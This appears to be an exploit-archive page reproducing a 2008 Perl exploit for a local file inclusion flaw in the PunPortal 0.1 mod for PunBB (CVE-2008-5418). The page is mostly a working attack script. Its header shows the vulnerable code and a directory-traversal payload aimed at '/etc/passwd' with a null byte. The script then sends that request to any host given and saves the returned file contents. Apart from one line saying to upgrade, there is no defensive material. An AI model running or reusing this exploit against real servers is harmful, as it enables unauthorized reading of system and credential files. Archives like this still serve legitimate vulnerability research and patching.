Search...

PunBB Mod PunPortal 0.1 - Local File Inclusion Exploit

2008-11-20T00:00:00
ID EDB-ID:7168
Type exploitdb
Reporter StAkeR
Modified 2008-11-20T00:00:00

Description

PunBB Mod PunPortal 0.1 Local File Inclusion Exploit. CVE-2008-5418. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl

=about

    PunBB (PunPortal 0.1) Local File Inclusion Exploit
    --------------------------------------------------
    by athos - staker[at]hotmail[dot]it
    download mod http://www.punres.org/download.php?id=1108
    download cms http://punbb.org

    register globals = 1
    magic quotes gcp = 1
    
  
    
    File (include/login.php)
    
    1. <?php
    2.
    3. // Show login if not logged in
    4. if($pun_user['is_guest'])
    5. {
    6. if(!isset($focus_element) || (isset($focus_element) && !in_array('login', $focus_element)))
    7. {
    8. 
    9. // Load the language files
    10. require PUN_ROOT.'lang/'.$pun_user['language'].'/common.php';
    11. require PUN_ROOT.'lang/'.$pun_user['language'].'/login.php';
    
    
    $pun_user['is_guest'] isn't declared
    $pun_user['language'] isn't declared
    
    include/user/login.php?pun_user[is_guest]=a&pun_user[language]=../../etc/passwd%00
    
    how to fix?use the latest version (2.0) 
     
    Usage: perl punbb.pl localhost/cms
    
=cut


use strict;
use warnings;
use IO::Socket;


my $html = undef;
my $site = $ARGV[0] or &help;
my @take = split /\//,$site;

my ($host,$path) = @take;

if($site =~ /http:\/\/(.+?)/i) {
  print STDOUT "Invalid URL\n";
  exit;
}

print STDOUT "Local File (ex: ../../etc/passwd)\n";
print STDOUT "Local File: ";
  
chomp(my $file = <STDIN>);

if(not defined($file)) {
  print STDOUT "File Not Defined!\n";
  exit;
}


my $evil = "/include/user/login.php?pun_user[is_guest]=a&pun_user[language]=";

my $sock = new IO::Socket::INET(
                                 PeerAddr => $host,
                                 PeerPort => 80,
                                 Proto    => 'tcp',
                                 Timeout  => 6,
                              ) or die $!;   

my $data = "GET /${path}/${evil}${file}%00 HTTP/1.1\r\n".
           "Host: $host\r\n".
           "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n".
           "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
           "Accept-Language: en-us,en;q=0.5\r\n".
           "Accept-Encoding: gzip,deflate\r\n".
           "Connection: close\r\n\r\n";

$sock->send($data);

while(<$sock>) {
  $html .= $_;
}           

if($html =~ /(No such file or directory|HTTP\/1.1 404 Not Found)/i) {
  print STDOUT "Exploit Failed!\n";
  exit;
}
else {
  my $name = int(rand(999)).'.txt';
  
  open(FILE,">",$name);
  print FILE $html;
  close(FILE);
  
  print STDOUT "Exploit Successfully!\n";
  print STDOUT "$name saved!\n";
  exit;
}


sub help {
  print STDOUT "PunBB (PunPortal 0.1) Local File Inclusion Exploit\n".
               "by athos - staker[at]hotmail[dot]it\n".
               "Usage: perl $0 [host/path]\n";
  exit;
}

# milw0rm.com [2008-11-20]
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by